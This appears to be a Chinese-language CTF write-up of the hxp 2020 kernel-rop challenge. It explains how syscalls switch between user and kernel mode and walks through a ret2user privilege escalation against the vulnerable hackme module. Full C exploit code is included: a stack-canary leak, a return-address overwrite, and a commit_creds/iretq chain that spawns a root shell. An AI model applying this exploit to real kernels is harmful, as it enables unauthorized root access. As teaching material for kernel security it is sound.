0001-TIPS-2020-hxp-kernel-rop : ret2user

news2024/9/20 16:48:51

目的

  • 理解系统调用的过程:从用户态进入内核态,再从内核态返回用户态。细节见文末的参考
  • 了解一般性提权方法commit_creds(prepare_kernel_cred (0));

环境搭建

下载 pwn 2020-kernel-rop

wget https://2020.ctf.link/assets/files/kernel-rop-bf9c106d45917343.tar.xz

编译muls-gcc

一种gcc编译器,用于减小静态编译的poc/exp的体积

wget https://musl.libc.org/releases/musl-1.2.4.tar.gz
tar xvf musl-1.2.4.tar.gz
cd musl-1.2.4/
./configure
make -j8
sudo make install

# 编辑 ~/.bashrc 文件,追加如下内容
export PATH="/usr/local/musl/bin:$PATH"

# 安装 ptrlib 库
pip3 install ptrlib

传输POC/EXP文件模板

一种将exp传递到文件系统的方式。
不打包解包文件系统,直接将exp二进制文件通过base64编码通过终端输入传递到文件系统中,再通过base64文件解码还原exp二进制文件

from ptrlib import *  
import time  
import base64  
import os  
  
def run(cmd):  
    sock.sendlineafter("$ ", cmd)  
    sock.recvline()  
  
with open("./exploit", "rb") as f:  
    payload = bytes2str(base64.b64encode(f.read()))  
  
#sock = Socket("HOST", PORT) # remote  
sock = Process("./run.sh")  
  
run('cd /tmp')  
  
logger.info("Uploading...")  
for i in range(0, len(payload), 512):  
    print(f"Uploading... {i:x} / {len(payload):x}")  
    run('echo "{}" >> b64exp'.format(payload[i:i+512]))  
run('base64 -d b64exp > exploit')  
run('rm b64exp')  
run('chmod +x exploit')  
  
sock.interactive()

测试

尝试运行自带的run.sh

直接运行run.sh提示缺少flag.txt文件
添加flag.txt文件

echo "this is flag.txt file" > flag.txt

再次运行run.sh就可以正常运行了

编写测试代码

test.c

#include<stdio.h>
int main()
{
	printf("hello world\n");
	return 0;
}

通过gcc和musl-gcc静态编译

gcc -static test.c -o gcc_test
musl-gcc -static test.c -o musl_test

观察gcc和musl-gcc编译出的静态文件的大小

-rwxrwxr-x 1 showme showme 852K 61 03:09 gcc_test
-rwxrwxr-x 1 showme showme  19K 61 03:10 musl_test

修改模板文件,将musl_test传递到pwn环境中测试运行

$ python3 ./up.py
[+] __init__: Successfully created new process (PID=2681907)
[+] <module>: Uploading...
Uploading... 0 / 61f8
.......
.......
Uploading... 5e00 / 61f8
Uploading... 6000 / 61f8
/tmp $ [ptrlib]$ ls -l
l[ptrlib]$ s -l
total 20
-rwxr-xr-x    1 1000     1000         18808 May 31 19:15 exploit
/tmp $ ./exploit
./exploit
hello world
/tmp $ [ptrlib]$

安装后期编写EXP需要用到的工具

ropper             下载地址 https://github.com/sashs/Ropper
vmlinux-to-elf     下载地址 https://github.com/marin-m/vmlinux-to-elf

vmlinux-to-elf 用于将内核压缩文件 转换为 正常的elf文件
ropper 用于从vmlinux-to-elf后代文件中,查找提权用的rop

打包/解包 文件系统 脚本

解包脚本 decompress_cpio.sh

#!/bin/bash

# Decompress a .cpio.gz packed file system
rm -rf ./initramfs && mkdir initramfs
pushd . && pushd initramfs
cp ../initramfs.cpio.gz .
gzip -dc initramfs.cpio.gz | cpio -idm &>/dev/null && rm initramfs.cpio.gz
popd

打包脚本 compile_exp_and_compress_cpio.sh

可以exp一起进行编译

#!/bin/bash
# Compress initramfs with the included statically linked exploit
in=$1
out=$(echo $in | awk '{ print substr( $0, 1, length($0)-2 ) }')
gcc $in -static -o $out || exit 255
mv $out initramfs
pushd . && pushd initramfs
find . -print0 | cpio --null --format=newc -o 2>/dev/null | gzip -9 > ../initramfs.cpio.gz
popd

启动脚本中保护机制

#!/bin/sh
qemu-system-x86_64 \
    -m 128M \
    -cpu kvm64,+smep,+smap \
    -kernel vmlinuz \
    -initrd initramfs.cpio.gz \
    -hdb flag.txt \
    -snapshot \
    -nographic \
    -monitor /dev/null \
    -no-reboot \
    -append "console=ttyS0 kaslr kpti=1 quiet panic=1" \

参数介绍

  • -m : 该qemu程序可使用的主机内存
  • -cpu : 开启高级cpu功能(启用cpu中的cr4寄存器的高级功能)
  • -kernel : linux内核
  • -initrd : 指定文件系统
  • -hdb : 挂载磁盘
  • -nographic : 以终端方式运行,而不是gui界面
  • -no-reboot : 在执行exit命令后退出qemu
  • -append : 附加参数->指定控制台, 以及linux启动命令

开启的安全机制

  • smep
  • smap
  • kaslr
  • kpit=1

当前把启动脚本中的所有保护机制去除,一步一步绕过这些限制

#!/bin/sh
qemu-system-x86_64 \
    -m 128M \
    -kernel vmlinuz \
    -initrd initramfs.cpio.gz \
    -hdb flag.txt \
    -snapshot \
    -nographic \
    -monitor /dev/null \
    -no-reboot \
    -append "console=ttyS0 nokaslr panic=1" \

题目分析

hackme_read

反汇编

ssize_t __fastcall hackme_read(file *f, char *data, size_t size, loff_t *off)
{
  __int64 v4; // rbx
  __int64 v5; // rbp
  __int64 v6; // r12
  unsigned __int64 v7; // rdx
  unsigned __int64 v8; // rbx
  bool v9; // zf
  ssize_t result; // rax
  int tmp[32]; // [rsp+0h] [rbp-A0h]
  unsigned __int64 v12; // [rsp+80h] [rbp-20h]
  __int64 v13; // [rsp+88h] [rbp-18h]
  __int64 v14; // [rsp+90h] [rbp-10h]
  __int64 v15; // [rsp+98h] [rbp-8h]

  _fentry__();
  v15 = v5;
  v14 = v6;
  v13 = v4;
  v8 = v7;
  v12 = __readgsqword(0x28u);
  _memcpy(hackme_buf, tmp);                     // <----------- 看下面的汇编,memcpy拷贝的长度是size
  if ( v8 > 0x1000 )                            // <----------- 
  {
    _warn_printk("Buffer overflow detected (%d < %lu)!\n", 4096LL, v8);
    BUG();
  }
  _check_object_size(hackme_buf, v8, 1LL);
  v9 = copy_to_user(data, hackme_buf, v8) == 0;  // <---------  栈溢出
  result = -14LL;
  if ( v9 )
    result = v8;
  return result;
}

汇编

 ; ssize_t __fastcall hackme_read(file *f, char *data, size_t size, loff_t *off)
 hackme_read     proc near               ; DATA XREF: __mcount_loc:00000000000001E8↓o
                                         ; .rodata:hackme_fops↓o

 tmp             = dword ptr -0A0h
 anonymous_3     = qword ptr -20h
 anonymous_2     = qword ptr -18h
 anonymous_1     = qword ptr -10h
 anonymous_0     = qword ptr -8

 f = rdi                                 ; file *
 data = rsi                              ; char *
 size = rdx                              ; size_t
 off = rcx                               ; loff_t *
                 call    __fentry__
                 push    rbp
                 mov     f, offset hackme_buf
                 mov     rbp, rsp
                 push    r12
                 push    rbx
                 mov     r12, data
                 lea     data, [rbp-98h]          ; <------------- 临时变量的起始位置
 data = r12                              ; char *
                 mov     rbx, size
                 sub     rsp, 88h
                 mov     rax, gs:28h
                 mov     [rbp-18h], rax            ; <------------ canary 存储位置
                 xor     eax, eax
                 call    __memcpy
                 cmp     size, 1000h
                 ja      short loc_183
                 mov     edx, 1
                 mov     rsi, size
                 mov     rdi, offset hackme_buf
                 call    __check_object_size
                 mov     rdx, size
                 mov     rsi, offset hackme_buf
                 mov     rdi, data
                 call    _copy_to_user
                 test    rax, rax
                 mov     rax, 0FFFFFFFFFFFFFFF2h
                 cmovz   rax, size

 loc_168:                                ; CODE XREF: hackme_read+B0↓j
                 mov     rcx, [rbp-18h]
                 xor     rcx, gs:28h
                 jnz     short loc_1A2
                 add     rsp, 88h
                 pop     size
                 pop     data
                 pop     rbp
                 retn

hackme_write

反汇编

ssize_t __fastcall hackme_write(file *f, const char *data, size_t size, loff_t *off)
{
  unsigned __int64 v4; // rdx
  ssize_t v5; // rbx
  ssize_t result; // rax
  int tmp[32]; // [rsp+0h] [rbp-A0h]
  unsigned __int64 v8; // [rsp+80h] [rbp-20h]

  _fentry__();
  v5 = v4;
  v8 = __readgsqword(0x28u);
  if ( v4 > 0x1000 )                              // <----------- 
  {
    _warn_printk("Buffer overflow detected (%d < %lu)!\n", 4096LL, v4);
    BUG();
  }
  _check_object_size(hackme_buf, v4, 0LL);
  if ( copy_from_user(hackme_buf, data, v5) )     // <----------- 
    goto LABEL_8;
  _memcpy(tmp, hackme_buf);                       // <----------- 栈溢出
  result = v5;
  while ( __readgsqword(0x28u) != v8 )
LABEL_8:
    result = -14LL;
  return result;
}

汇编

 ; ssize_t __fastcall hackme_write(file *f, const char *data, size_t size, loff_t *off)
 hackme_write    proc near               ; DATA XREF: __mcount_loc:00000000000001D8↓o
                                         ; .rodata:hackme_fops↓o

 tmp             = dword ptr -0A0h
 anonymous_0     = qword ptr -20h

 f = rdi                                 ; file *
 data = rsi                              ; const char *
 size = rdx                              ; size_t
 off = rcx                               ; loff_t *
                 call    __fentry__
                 push    rbp
                 mov     rbp, rsp
                 push    r12
                 push    rbx
                 mov     rbx, size
                 sub     rsp, 88h
                 mov     rax, gs:28h
                 mov     [rbp-18h], rax           ; <------------ canary 存储位置
                 xor     eax, eax
                 cmp     size, 1000h
                 ja      short loc_AD
                 xor     edx, edx
                 mov     r12, data
                 mov     f, offset hackme_buf
                 mov     data, rbx
 data = r12                              ; const char *
                 call    __check_object_size
                 mov     size, rbx
                 mov     rsi, data
                 mov     rdi, offset hackme_buf
                 call    _copy_from_user
                 test    rax, rax
                 jnz     short loc_CE
                 lea     rdi, [rbp-98h]            ; <------------- 临时变量的起始位置
                 mov     size, rbx
                 mov     rsi, offset hackme_buf
                 call    __memcpy
                 mov     rax, rbx

 loc_92:                                 ; CODE XREF: hackme_write+A7↓j
                                         ; hackme_write:loc_D5↓j
                 mov     rcx, [rbp-18h]
                 xor     rcx, gs:28h
                 jnz     short loc_C9
                 add     rsp, 88h
                 pop     rbx
                 pop     data
                 pop     rbp
                 retn
 ; -----------------------------

很明显的溢出,但是存在canary保护,第一步就是获取canary的值

获取canary的值

通过hackme_read越界读,获取canary


lead_canary.c

#include <fcntl.h>  // open()
#include <stdbool.h>
#include <stdint.h> // uint8_t | uint64_t
#include <stdio.h>
#include <stdlib.h> // exit()
#include <string.h>
#include <unistd.h>

char *VULN_DRV = "/dev/hackme";

int64_t global_fd = 0;
uint64_t cookie = 0;
uint8_t cookie_off = 16;


void open_dev() {
    global_fd = open(VULN_DRV, O_RDWR);
    if (global_fd < 0) {
        printf("[-] failed to open %s\n", VULN_DRV);
        exit(-1);
    } else {
        printf("[+] successfully opened %s\n", VULN_DRV);
    }
}


void leak_cookie() {
    uint8_t sz = 40;
    uint64_t leak[sz];
    printf("[*] trying to leak up to %ld bytes memory\n", sizeof(leak));
    uint64_t data = read(global_fd, leak, sizeof(leak));
    cookie = leak[cookie_off];
    printf("[+] found stack canary: 0x%lx @ index %d\n", cookie, cookie_off);
	if(!cookie) {
    	puts("[-] failed to leak stack canary!");
    	exit(-1);
    }
}


int main(int argc, char **argv) {
    open_dev();
    leak_cookie();

    return 0;
}
/*
0x98    index 0
0x90    index 1
0x88    index 2
0x80    index 3
0x78    index 4
0x70    index 5
0x68    index 6
0x60    index 7
0x58    index 8
0x50    index 9
0x48    index 10
0x40    index 11
0x38    index 12
0x30    index 13
0x28    index 14
0x20    index 15
0x18    index 16
0x10
0x08
0x00
*/

通过 decompress_cpio.sh 解包之后,会生成 initramfs 文件夹
编辑 initramfs/etc/init.d/rcS,在其中添加setuidgid 0 /bin/sh,以root权限登录,编译后期调试

还需要注释掉rcS中这两行

echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict

使用 compile_exp_and_compress_cpio.sh对文件系统进行打包
./compile_exp_and_compress_cpio.sh lead_canary.c 静态编译lead_canary.c并放入文件系统,并打包文件系统

执行结果

/ # ./leak_canary
[+] successfully opened /dev/hackme
[*] trying to leak up to 320 bytes memory
[    7.692998] random: fast init done
[+] found stack canary: 0xd539a9da697c6200 @ index 16

通过调试-确认获取canary值是否正确

修改启动脚本

#!/bin/sh
qemu-system-x86_64 \
    -m 128M \
    -cpu kvm64,+smep,+smap \
    -kernel vmlinuz \
    -initrd initramfs.cpio.gz \
    -hdb flag.txt \
    -snapshot \
    -nographic \
    -monitor /dev/null \
    -no-reboot \
    -append "console=ttyS0 nosmep nosmap nopti nokaslr quiet panic=1" \
    -s -S

-s -S 参数,开启1234端口,并等待调试器连接

查找 hackme_read的地址(没有开启kaslr)

通过sys文件系统找地址

该题目中默认创建sys文件系统,通过在initramfs目录中的etc/init.d/rcS文件,添加

mkdir -p /sys  && mount -t sysfs sysfs /sys

启用sys文件系统,重新打包调试

进入/sys/module/hackme模块中,存在一个sections文件夹,在该文件夹下有很多隐藏文件,记录了各个符号的地址

/sys/module # cd hackme/

/sys/module/hackme # ls -l
total 0
-r--r--r--    1 0        0             4096 Jun  4 16:32 coresize
drwxr-xr-x    2 0        0                0 Jun  4 16:32 holders
-r--r--r--    1 0        0             4096 Jun  4 16:32 initsize
-r--r--r--    1 0        0             4096 Jun  4 16:32 initstate
drwxr-xr-x    2 0        0                0 Jun  4 16:32 notes
-r--r--r--    1 0        0             4096 Jun  4 16:32 refcnt
drwxr-xr-x    2 0        0                0 Jun  4 16:32 sections
-r--r--r--    1 0        0             4096 Jun  4 16:32 srcversion
-r--r--r--    1 0        0             4096 Jun  4 16:32 taint
--w-------    1 0        0             4096 Jun  4 16:32 uevent
-r--r--r--    1 0        0             4096 Jun  4 16:32 version
/sys/module/hackme # cd sections/
/sys/module/hackme/sections # ls -l
total 0
-r--------    1 0        0               19 Jun  4 16:32 __bug_table
-r--------    1 0        0               19 Jun  4 16:32 __mcount_loc
/sys/module/hackme/sections # ls -al
total 0
drwxr-xr-x    2 0        0                0 Jun  4 16:32 .
drwxr-xr-x    5 0        0                0 Jun  4 16:32 ..
-r--------    1 0        0               19 Jun  4 16:32 .bss
-r--------    1 0        0               19 Jun  4 16:32 .data
-r--------    1 0        0               19 Jun  4 16:32 .exit.text
-r--------    1 0        0               19 Jun  4 16:32 .gnu.linkonce.this_module
-r--------    1 0        0               19 Jun  4 16:32 .init.text
-r--------    1 0        0               19 Jun  4 16:32 .note.Linux
-r--------    1 0        0               19 Jun  4 16:32 .note.gnu.build-id
-r--------    1 0        0               19 Jun  4 16:32 .rodata
-r--------    1 0        0               19 Jun  4 16:32 .rodata.str1.1
-r--------    1 0        0               19 Jun  4 16:32 .rodata.str1.8
-r--------    1 0        0               19 Jun  4 16:32 .strtab
-r--------    1 0        0               19 Jun  4 16:32 .symtab
-r--------    1 0        0               19 Jun  4 16:32 .text.hackme_open
-r--------    1 0        0               19 Jun  4 16:32 .text.hackme_read
-r--------    1 0        0               19 Jun  4 16:32 .text.hackme_release
-r--------    1 0        0               19 Jun  4 16:32 .text.hackme_write
-r--------    1 0        0               19 Jun  4 16:32 __bug_table
-r--------    1 0        0               19 Jun  4 16:32 __mcount_loc
/sys/module/hackme/sections # cat .text.hackme_read
0xffffffffc0265000

通过 /proc/kallsyms 找地址

/ # cat /proc/kallsyms | grep "hackme_read"
ffffffffc0265000 t hackme_read	[hackme]

启用gdb

首先还原压缩有的内核文件

vmlinux-to-elf vmlinuz vmlinux_original

启动gdb

gdb ./vmlinux_original

链接 1234端口

pwndbg> target remote:1234

(可选) 附加 hackme 符号

  • hackeme.ko 包含了调试符号
  • 找到了hackeme 的加载地址
/ # cat /sys/module/hackme/sections/.text 
0xffffffffc0000000

add-symbol-file ./hackme.ko 0xffffffffc0000000

下断点

在这里插入图片描述

执行 leak_canary

运行leak_canary,会断下来,之后单步调试,
在通过gs赋值canary时,可以看到rax中存储的就是canary中的值

*RAX  0x2b47cec29f336300
 RBX  0x140
 RCX  0xffffc900001bfef0 ◂— 0

   0xffffffffc0000117    mov    rax, qword ptr gs:[0x28]0xffffffffc0000120    mov    qword ptr [rbp - 0x18], rax
   0xffffffffc0000124    xor    eax, eax

执行结果确认获取了canary

/ # ./leak_canary
[+] successfully opened /dev/hackme
[*] trying to leak up to 320 bytes memory
[+] found stack canary: 0x2b47cec29f336300 @ index 16
/ #

覆盖hackeme模块中函数的返回地址

获取到canary之后,可以通过hackme_write覆盖canary,并覆盖hackme_write的返回地址来控制内核执行的流程
这里将返回地址填充为 0x4141414141414141

overwrite_return_address.c

#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

char *VULN_DRV = "/dev/hackme";

int64_t global_fd = 0;
uint64_t cookie = 0;
uint8_t cookie_off = 16;


void open_dev() {
    global_fd = open(VULN_DRV, O_RDWR);
    if (global_fd < 0) {
        printf("[-] failed to open %s\n", VULN_DRV);
        exit(-1);
    } else {
        printf("[+] successfully opened %s\n", VULN_DRV);
    }
}

void leak_cookie() {
    uint8_t sz = 40;
    uint64_t leak[sz];
    printf("[*] trying to leak up to %ld bytes memory\n", sizeof(leak));
    uint64_t data = read(global_fd, leak, sizeof(leak));
    cookie = leak[cookie_off];
    printf("[+] found stack canary: 0x%lx @ index %d\n", cookie, cookie_off);
	if(!cookie) {
    	puts("[-] failed to leak stack canary!");
    	exit(-1);
    }
}


void overwrite_ret() {
    puts("[*] trying to overwrite return address of hacker_write");
    uint8_t sz = 50;
    uint64_t payload[sz];

    payload[cookie_off++] = cookie; // 0x18
    payload[cookie_off++] = 0x0;    // 0x10
    payload[cookie_off++] = 0x0;    // 0x08
    payload[cookie_off++] = 0x0;    // 0x00
    payload[cookie_off++] = (uint64_t)0x4141414141414141; // return address

    uint64_t data = write(global_fd, payload, sizeof(payload));

    puts("[-] if you can read this we failed the mission :(");
}


int main(int argc, char **argv) {
    open_dev();
    leak_cookie();
    overwrite_ret();

    return 0;
}

/*
    0x98    index 0
    0x90    index 1
    0x88    index 2
    0x80    index 3
    0x78    index 4
    0x70    index 5
    0x68    index 6
    0x60    index 7
    0x58    index 8
    0x50    index 9
    0x48    index 10
    0x40    index 11
    0x38    index 12
    0x30    index 13
    0x28    index 14
    0x20    index 15
    0x18    index 16
    0x10
    0x08
    0x00
*/
/ # ./overwrite_return_address
[+] successfully opened /dev/hackme
[*] trying to leak up to 320 bytes memory
[+] found stack canary: 0xbef78c6807ef7d00 @ index 16
[*] trying to overwrite return address of hacker_write
[    5.516729] general protection fault: 0000 [#1] SMP NOPTI
[    5.517380] CPU: 0 PID: 114 Comm: overwrite_retur Tainted: G           O      5.9.0-rc6+ #10
[    5.517694] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.13.0-1ubuntu1.1 04/01/2014
[    5.518658] RIP: 0010:0x4141414141414141
[    5.519141] Code: Bad RIP value.
[    5.519416] RSP: 0018:ffffc900001bfeb0 EFLAGS: 00000296
[    5.520087] RAX: 0000000000000190 RBX: 0000000000000000 RCX: 0000000000000000
[    5.520505] RDX: 0000000000000010 RSI: ffffffffc00025c0 RDI: ffffc900001bff88
[    5.520770] RBP: 0000000000000000 R08: 0000000000000000 R09: 0000000000401f56
[    5.521031] R10: 0000000000000000 R11: 0000000000401f56 R12: 0000000000000000
[    5.521294] R13: ffffc900001bfef0 R14: 00007ffe492e3010 R15: ffff888006ca2400
[    5.521664] FS:  000000000186e880(0000) GS:ffff888007800000(0000) knlGS:0000000000000000
[    5.521962] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[    5.522463] CR2: 0000000001870b78 CR3: 00000000064cc000 CR4: 00000000000006f0
[    5.522855] Call Trace:
[    5.524155]  ? security_file_permission+0x127/0x170
[    5.524781] Modules linked in: hackme(O)
[    5.525516] ---[ end trace 074d8854de526642 ]---
[    5.525826] RIP: 0010:0x4141414141414141
[    5.525951] Code: Bad RIP value.
[    5.526242] RSP: 0018:ffffc900001bfeb0 EFLAGS: 00000296
[    5.526457] RAX: 0000000000000190 RBX: 0000000000000000 RCX: 0000000000000000
[    5.526773] RDX: 0000000000000010 RSI: ffffffffc00025c0 RDI: ffffc900001bff88
[    5.527409] RBP: 0000000000000000 R08: 0000000000000000 R09: 0000000000401f56
[    5.528202] R10: 0000000000000000 R11: 0000000000401f56 R12: 0000000000000000
[    5.528529] R13: ffffc900001bfef0 R14: 00007ffe492e3010 R15: ffff888006ca2400
[    5.528783] FS:  000000000186e880(0000) GS:ffff888007800000(0000) knlGS:0000000000000000
[    5.529193] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[    5.529399] CR2: 0000000001870b78 CR3: 00000000064cc000 CR4: 00000000000006f0
Segmentation fault

关于提权前置知识

cred结构

用户 uid, gid, euid 存储在struct cred结构体中
朴素的提权方式有

  • 在内存中找到struct cred结构体的位置,将里面的关于 uid,gid,euid等等的内容修改为0
  • 调用 commit_creds(prepare_kernel_cred (0));,直接分配一个uid,gid内容为0的新cred,并应用这个cred
    参考(Linux Privilege Escalation · Android Kernel Exploitation)
    struct cred —— cred的基本单位
    prepare_kernel_cred —— 分配并返回一个新的cred
    commit_creds —— 应用新的cred

一般汇编写法是

movabs rax, prepare_kernel_cred    < -------   由于没有开启kaslr prepare_kernel_cred 的值从 /proc/kallsyms 中查找使用
xor rdi, rdi                       <--------   rdi是x64函数调用中的第一个参数,prepare_kernel_cred(0)
call rax
mov rdi, rax                       <--------   将prepare_kernel_cred函数的结果保存到rdi,作为commit_creds的参数
movabs rax, commit_creds           < -------   由于没有开启kaslr commit_creds 的值从 /proc/kallsyms 中查找使用
call rax

系统调用 / 用户态和内核态切换 - 寄存器的存储和恢复

在x86_64架构中,可通过查找 entry_SYSCALL_64 符号的地址,下断调试

用户态

  • 将请求参数保存到寄存器(第1到第6个参数分别保存在rdi,rsi,rdx,r10,r8,r9)
  • 将系统调用名称转为系统调用号保存到寄存器 rax 中
  • 通过 syscall 指令进入内核态(依靠MSR寄存器找到处理系统的入口点)
    • RCX保存用户态的RIP
    • 从MSR寄存器中的IA32_LASAR获取RIP
    • R11保存标志寄存器
    • 用IA32_STAR[47:32]设置CS的选择子, 同时把RPL设置为0, 表示现在开始执行内核态代码, 这是进入内核态的第一步, 由CPU完成
    • 用IA32_STAR[47:32]+8设置SS的选择子, 这也就要求GDT中栈段描述符就在代码段描述符上面

内核态

  • 通过swapgs指令切换到内核态的gs, 并保存用户态的gs
  • 然后通过gs保存用户的rsp, 并找到内核态的rsp, 至此切换到内核态堆栈
  • 将用户态的寄存器保存到 pt_regs结构 中(内核栈中)
  • 在系统调用函数表 sys_call_table 中根据调用号找到对应的函数
  • 将寄存器中保存的参数取出来作为函数参数执行函数, 将返回值写入 pt_regs 的 ax 位置

再回到用户态

  • 利用栈上的 pt_regs结构,恢复用户态的寄存器(除了rcx,r11。因为rcx寄存器为调用系统调用的应用程序的返回地址, r11 寄存器为老的flags register)
  • 通过swapgs指令切换回用户态的gs
  • 恢复用户栈
  • 执行sysretq 返回到用户态
    • 从rcx加载rip
    • 从r11加载rflags
    • 从 MSR的 IA32_STAR[63:48] 加载CS
    • IA32_STAR[63:48] + 8 加载SS
    • SYSRET指令不会修改堆栈指针(ESP或RSP),因此在执行SYSRET之前rsp必须切换到用户堆栈,当然还要切换GS寄存器

在提权时,当我们使用sysretq指令从内核态中返回前,我们需要先设置rcx为用户态rip,设置r11为用户态rflags,设置rsp为一个用户态堆栈,并执行swapgs交换GS寄存器

重点:另一个从内核态返回用户态的指令iretq指令:
传统的系统调用方式是int 0x80,它过中断/异常实现,在执行 int 指令时,发生 trap。硬件根据向量号0x80找到在中断描述符表中的表项,在自动切换到内核栈 (tss.ss0 : tss.esp0) 后根据中断描述符的 segment selector 在 GDT / LDT 中找到对应的段描述符,从段描述符拿到段的基址,加载到 cs ,将 offset 加载到 eip。最后硬件将用户态ss / sp / eflags / cs / ip / error code 依次压到内核栈。然后会执行eip的entry函数,通常在保存一系列寄存器后会SET_KERNEL_GS设置内核GS。

返回时,最后会执行SWAPGS交换内核和用户GS寄存器,然后执行iret指令将先前压栈的 ss / sp / eflags / cs / ip 弹出,恢复用户态调用时的寄存器上下文。

总结一下:在提权时,如要使用64 位的iretq指令 从内核态返回到用户态,我们首先要执行SWAPGS切换GS,然后执行iretq指令时的栈布局应该如下

rsp ---> rip 
         cs
         rflags
         rsp
         ss

ret2user

什么是ret2user

在内核态执行用户空间的指令

在这里插入图片描述

大体过程

  • 通过系统调用write调用,在内核态覆盖hackme_write返回地址
  • hackme_write返回,在用户空间执行提权代码
  • 返回用户态
    • 正常的write系统调用:
      • 1)通过syscall进入内核
      • 2)执行具体的系统调用
      • 3)系统调用执行完毕后,恢复寄存器和用户栈
      • 4)将内核态gs切换为用户态gs(swapgs),通过sysretq返回
    • 由于第二步被我们接管了(用于执行提权代码),所以第三步和第四步需要我们自己来布局
      • 一般是使用iretq机制来返回到用户态
        • 首先切换gs,调用swapgs
        • 压入 用户态的ss
        • 压入 用户态的rsp
        • 压入 用户态的rflags
        • 压入 用户态的cs
        • 压入 用户态的rip(一般是包裹着 system(“/bin/sh”)指令的函数地址,使得在返回到用户态后有一个shell)
        • 执行iretq,回到用户态,并从用户态的rip处执行
          在iretq返回之前,内核栈中实现如下布局
rsp ---> rip 
         cs
         rflags
         rsp
         ss

在这里插入图片描述

exploit_ret2user.c

// -append "console=ttyS0 nosmep nosmap nopti nokaslr quiet panic=1"

#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

char *VULN_DRV = "/dev/hackme";
void spawn_shell();

int64_t global_fd = 0;
uint64_t cookie = 0;
uint8_t cookie_off = 16;

uint64_t user_cs, user_ss, user_rflags, user_sp;
uint64_t prepare_kernel_cred = 0xffffffff814c67f0;
uint64_t commit_creds = 0xffffffff814c6410;
uint64_t user_rip = (uint64_t) spawn_shell;


void open_dev() {
    global_fd = open(VULN_DRV, O_RDWR);
    if (global_fd < 0) {
        printf("[!] failed to open %s\n", VULN_DRV);
        exit(-1);
    } else {
        printf("[+] successfully opened %s\n", VULN_DRV);
    }
}


void leak_cookie() {
    uint8_t sz = 40;
    uint64_t leak[sz];
    printf("[*] trying to leak up to %ld bytes memory\n", sizeof(leak));
    uint64_t data = read(global_fd, leak, sizeof(leak));
    cookie = leak[cookie_off];
    printf("[+] found stack canary: 0x%lx @ index %d\n", cookie, cookie_off);
	if(!cookie) {
    	puts("[-] failed to leak stack canary!");
    	exit(-1);
    }
}


void spawn_shell() {
    puts("[+] returned to user land");
    uid_t uid = getuid();
    if (uid == 0) {
        printf("[+] got root (uid = %d)\n", uid);
    } else {
        printf("[!] failed to get root (uid: %d)\n", uid);
        exit(-1);
    }
    puts("[*] spawning shell");
    system("/bin/sh");
    exit(0);
}


void save_userland_state() {
    puts("[*] saving user land state");
    __asm__(".intel_syntax noprefix;"
            "mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;"
            ".att_syntax");
}


void privesc() {
    __asm__(".intel_syntax noprefix;"
            "movabs rax, prepare_kernel_cred;"
            "xor rdi, rdi;"
            "call rax;"
            "mov rdi, rax;"
            "movabs rax, commit_creds;"
            "call rax;"
            "swapgs;"
            "mov r15, user_ss;"
            "push r15;"
            "mov r15, user_sp;"
            "push r15;"
            "mov r15, user_rflags;"
            "push r15;"
            "mov r15, user_cs;"
            "push r15;"
            "mov r15, user_rip;"
            "push r15;"
            "iretq;"
            ".att_syntax;");
}


void overwrite_ret() {
    puts("[*] trying to overwrite return address of hacker_write");
    uint8_t sz = 50;
    uint64_t payload[sz];

    payload[cookie_off++] = cookie;
    payload[cookie_off++] = 0x0;
    payload[cookie_off++] = 0x0;
    payload[cookie_off++] = 0x0;
    payload[cookie_off++] = (uint64_t)privesc; // return address

    uint64_t data = write(global_fd, payload, sizeof(payload));

    puts("[-] if you can read this we failed the mission :(");
}


int main(int argc, char **argv) {
    open_dev();
    leak_cookie();
    save_userland_state();
    overwrite_ret();

    return 0;
}

(环境已经是root了,可以通过修改/etc/init.d/rcSsetuidgid 0 /bin/sh修改为setuidgid 1000 /bin/sh并重新打包;或者执行exit,会回退到一个普通用户中)

/ #
/ # exit
                    ___        __  __               ___                  __ _
                   / __\_   _ / _|/ _| ___ _ __    /___\__   _____ _ __ / _| | _____      __
                  /__\// | | | |_| |_ / _ \ '__|  //  //\ \ / / _ \ '__| |_| |/ _ \ \ /\ / /
                 / \/  \ |_| |  _|  _|  __/ |    / \_//  \ V /  __/ |  |  _| | (_) \ V  V /
 _____ _____ ____\_____/\__,_|_| |_|  \___|_|    \___/    \_/ \___|_|  |_| |_|\___/ \_/\_/____ _____ _____
|_____|_____|_____|                                                                     |_____|_____|_____|

                                             __   _____
                                             \ \ / / __|
                                              \ V /\__ \
 _____ _____ _____ _____ _____ _____ _____ ____\_/ |___/____ _____ _____ _____ _____ _____ _____ _____ _____
|_____|_____|_____|_____|_____|_____|_____|_____|     |_____|_____|_____|_____|_____|_____|_____|_____|_____|
             _   _            _                               _      ___      __
  /\  /\___ | |_| |_ ___  ___| |_    /\ /\___ _ __ _ __   ___| |    /   \___ / _| ___ _ __  ___  ___  ___
 / /_/ / _ \| __| __/ _ \/ __| __|  / //_/ _ \ '__| '_ \ / _ \ |   / /\ / _ \ |_ / _ \ '_ \/ __|/ _ \/ __|
/ __  / (_) | |_| ||  __/\__ \ |_  / __ \  __/ |  | | | |  __/ |  / /_//  __/  _|  __/ | | \__ \  __/\__ \
\/ /_/ \___/ \__|\__\___||___/\__| \/  \/\___|_|  |_| |_|\___|_| /___,' \___|_|  \___|_| |_|___/\___||___/

/ $ ./expolit_ret2user
[+] successfully opened /dev/hackme
[*] trying to leak up to 320 bytes memory[   12.638607] random: fast init done

[+] found stack canary: 0x4c8529f7cd6d9100 @ index 16
[*] saving user land state
[*] trying to overwrite return address of hacker_write
[+] returned to user land
[+] got root (uid = 0)
[*] spawning shell
/ # id
uid=0 gid=0
/ #
/ #

参考

syscall : https://www.fke6.com/html/72356.html
强上Linux内核1–说一下用户态和内核态是如何切换的 : https://blog.csdn.net/weixin_45785536/article/details/122821842
Linux的系统调用机制 : https://www.anquanke.com/post/id/252373
https://b0ldfrev.gitbook.io/note/linux_kernel/kernelpwn-zhuang-tai-qie-huan-yuan-li-ji-kpti-rao-guo
https://tttang.com/archive/1606/
